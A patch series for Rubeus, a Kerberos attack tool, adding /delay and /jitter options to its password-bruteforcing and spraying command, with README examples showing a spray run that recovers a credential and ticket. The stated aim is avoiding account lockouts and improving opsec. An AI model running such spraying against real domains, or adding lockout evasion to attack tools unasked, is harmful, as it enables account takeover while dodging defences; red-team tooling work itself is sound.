From 8076c1dbd31362177ce4ac693d3d03c527b7a6f6 Mon Sep 17 00:00:00 2001 From: praetorian-thacien Date: Mon, 14 Apr 2025 11:12:06 -0700 Subject: [PATCH 1/5] added `/delay` `/jitter` commandline options to `brute` to allow reduced chance of account lockouts and/or increase opsec. --- Rubeus/Commands/Brute.cs | 58 +++++++++++++++++++++++++++++++++++---- Rubeus/Domain/Info.cs | 2 +- Rubeus/lib/Bruteforcer.cs | 4 ++- 3 files changed, 57 insertions(+), 7 deletions(-) diff --git a/Rubeus/Commands/Brute.cs b/Rubeus/Commands/Brute.cs index da23dbeb..da159b13 100644 --- a/Rubeus/Commands/Brute.cs +++ b/Rubeus/Commands/Brute.cs @@ -1,5 +1,6 @@ using System; using System.Collections.Generic; +using System.Threading; using System.Linq; using System.Text; using System.IO; @@ -27,7 +28,9 @@ public class Brute : ICommand private string credPassword = ""; private string outfile = ""; private uint verbose = 0; + private int delay = 0; private bool saveTickets = true; + private int jitter = 0; protected class BruteArgumentException : ArgumentException { @@ -43,23 +46,25 @@ public void Execute(Dictionary arguments) try { this.ParseArguments(arguments); - this.ObtainUsers(); - IBruteforcerReporter consoleReporter = new BruteforceConsoleReporter( this.outfile, this.verbose, this.saveTickets); Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter); - bool success = bruter.Attack(this.usernames, this.passwords); + this.ObtainUsers(); + bool success = bruter.Attack(this.usernames, this.passwords, this.delay, this.jitter); + if (success) { if (!String.IsNullOrEmpty(this.outfile)) { Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile); - }else + } + else { Console.WriteLine("\r\n[+] Done\r\n", this.outfile); } - } else + } + else { Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n"); } @@ -85,6 +90,8 @@ private void ParseArguments(Dictionary arguments) this.ParseOutfile(arguments); this.ParseVerbose(arguments); this.ParseSaveTickets(arguments); + this.ParseDelay(arguments); + this.ParseJitter(arguments); } private void ParseDomain(Dictionary arguments) @@ -205,6 +212,47 @@ private void ParseSaveTickets(Dictionary arguments) } } + private void ParseDelay(Dictionary arguments) + { + if (arguments.ContainsKey("/delay")) + { + try + { + this.delay = Int32.Parse(arguments["/delay"]); + } + catch + { + Console.WriteLine("[X] Delay must be an integer."); + } + if (delay < 100) + { + Console.WriteLine("[!] WARNING: Delay is in milliseconds! Please enter a value > 100."); + return; + } + } + } + + private void ParseJitter(Dictionary arguments) + { + if (arguments.ContainsKey("/jitter")) + { + try + { + this.jitter = Int32.Parse(arguments["/jitter"]); + } + catch + { + Console.WriteLine("[X] Jitter must be an integer between 1-100."); + return; + } + if(this.jitter <= 0 || this.jitter > 100) + { + Console.WriteLine("[X] Jitter must be between 1-100."); + return; + } + } + } + private void ObtainUsers() { if(this.usernames == null) diff --git a/Rubeus/Domain/Info.cs b/Rubeus/Domain/Info.cs index 5eab79a5..511a02f3 100755 --- a/Rubeus/Domain/Info.cs +++ b/Rubeus/Domain/Info.cs @@ -51,7 +51,7 @@ public static void ShowUsage() Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] Perform a Kerberos-based password bruteforcing attack: - Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/delay:MILLISECONDS] [/jitter:PERCENT] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Perform a scan for account that do not require pre-authentication: Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] diff --git a/Rubeus/lib/Bruteforcer.cs b/Rubeus/lib/Bruteforcer.cs index d19e1fde..844fe4a8 100644 --- a/Rubeus/lib/Bruteforcer.cs +++ b/Rubeus/lib/Bruteforcer.cs @@ -1,5 +1,6 @@ using System; using System.Collections.Generic; +using System.Threading; namespace Rubeus { @@ -34,7 +35,7 @@ public Bruteforcer(string domain, string domainController, IBruteforcerReporter this.validCredentials = new Dictionary(); } - public bool Attack(string[] usernames, string[] passwords) + public bool Attack(string[] usernames, string[] passwords, int delay, int jitter) { bool success = false; foreach (string password in passwords) @@ -46,6 +47,7 @@ public bool Attack(string[] usernames, string[] passwords) success = true; } } + Helpers.RandomDelayWithJitter(delay, jitter); } return success; From 23c703b366782f4dae7637c8326b59e7ec0d82e8 Mon Sep 17 00:00:00 2001 From: praetorian-thacien Date: Mon, 14 Apr 2025 11:19:53 -0700 Subject: [PATCH 2/5] no longer need System.Threading import --- Rubeus/Commands/Brute.cs | 1 - Rubeus/lib/Bruteforcer.cs | 1 - 2 files changed, 2 deletions(-) diff --git a/Rubeus/Commands/Brute.cs b/Rubeus/Commands/Brute.cs index da159b13..8d64e34a 100644 --- a/Rubeus/Commands/Brute.cs +++ b/Rubeus/Commands/Brute.cs @@ -1,6 +1,5 @@ using System; using System.Collections.Generic; -using System.Threading; using System.Linq; using System.Text; using System.IO; diff --git a/Rubeus/lib/Bruteforcer.cs b/Rubeus/lib/Bruteforcer.cs index 844fe4a8..72e96e16 100644 --- a/Rubeus/lib/Bruteforcer.cs +++ b/Rubeus/lib/Bruteforcer.cs @@ -1,6 +1,5 @@ using System; using System.Collections.Generic; -using System.Threading; namespace Rubeus { From fe7decb6bb98ac5f94bb4d2cf90bb6aeac1ea31b Mon Sep 17 00:00:00 2001 From: praetorian-thacien Date: Mon, 14 Apr 2025 11:23:26 -0700 Subject: [PATCH 3/5] increased PR readability --- Rubeus/Commands/Brute.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Rubeus/Commands/Brute.cs b/Rubeus/Commands/Brute.cs index 8d64e34a..641d7148 100644 --- a/Rubeus/Commands/Brute.cs +++ b/Rubeus/Commands/Brute.cs @@ -45,11 +45,12 @@ public void Execute(Dictionary arguments) try { this.ParseArguments(arguments); + this.ObtainUsers(); + IBruteforcerReporter consoleReporter = new BruteforceConsoleReporter( this.outfile, this.verbose, this.saveTickets); Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter); - this.ObtainUsers(); bool success = bruter.Attack(this.usernames, this.passwords, this.delay, this.jitter); if (success) From a788131c8526984ace9817c13f38db8a2e7064b5 Mon Sep 17 00:00:00 2001 From: praetorian-thacien Date: Mon, 14 Apr 2025 11:35:20 -0700 Subject: [PATCH 4/5] updates to README.md --- README.md | 32 ++++++++++++++++++++++++++++++-- Rubeus/Commands/Brute.cs | 6 ++---- 2 files changed, 32 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 293ccb98..228c13d4 100755 --- a/README.md +++ b/README.md @@ -125,7 +125,7 @@ Rubeus is licensed under the BSD 3-Clause license. Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] Perform a Kerberos-based password bruteforcing attack: - Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/delay:DELAY_SECONDS] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Perform a scan for account that do not require pre-authentication: Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] @@ -1087,7 +1087,7 @@ The `/autorenew` flag will take an existing `/ticket:X` .kirbi file/blob, sleep ### brute -The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name. +The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name. C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket @@ -1109,6 +1109,34 @@ The **brute** action will perform a Kerberos-based password bruteforcing or pass doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)... +Using the `/delay` and `/jitter` arguments allow throttling password bruteforce and password spray requests to avoid account lockout and/or increase opsec. + + C:\Rubeus>Rubeus.exe brute /passwords:passwords.txt /noticket /delay:5000 /jitter:10 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.3.3 + + [*] Action: Perform Kerberos Brute Force + + [-] Blocked/Disabled user => Guest + [-] Blocked/Disabled user => DefaultAccount + [-] Blocked/Disabled user => krbtgt + [-] Blocked/Disabled user => disabled + [+] STUPENDOUS => newuser:Password123!! + [*] base64(newuser.kirbi): + + doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)... + + + + + ### preauthscan The **preauthscan** action will send AS-REQ's for all usernames passed into the `/users` argument to discover accounts that do not require Kerberos pre-authentication. diff --git a/Rubeus/Commands/Brute.cs b/Rubeus/Commands/Brute.cs index 641d7148..c987dc50 100644 --- a/Rubeus/Commands/Brute.cs +++ b/Rubeus/Commands/Brute.cs @@ -58,13 +58,11 @@ public void Execute(Dictionary arguments) if (!String.IsNullOrEmpty(this.outfile)) { Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile); - } - else + }else { Console.WriteLine("\r\n[+] Done\r\n", this.outfile); } - } - else + } else { Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n"); } From 7cef16dd90913ac0c370ddb693c5c8db844fb7e7 Mon Sep 17 00:00:00 2001 From: praetorian-thacien Date: Mon, 14 Apr 2025 11:37:07 -0700 Subject: [PATCH 5/5] update to README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 228c13d4..21b716ba 100755 --- a/README.md +++ b/README.md @@ -125,7 +125,7 @@ Rubeus is licensed under the BSD 3-Clause license. Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] Perform a Kerberos-based password bruteforcing attack: - Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/delay:DELAY_SECONDS] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/delay:MILLISECONDS] [/jitter:PERCENT] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Perform a scan for account that do not require pre-authentication: Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]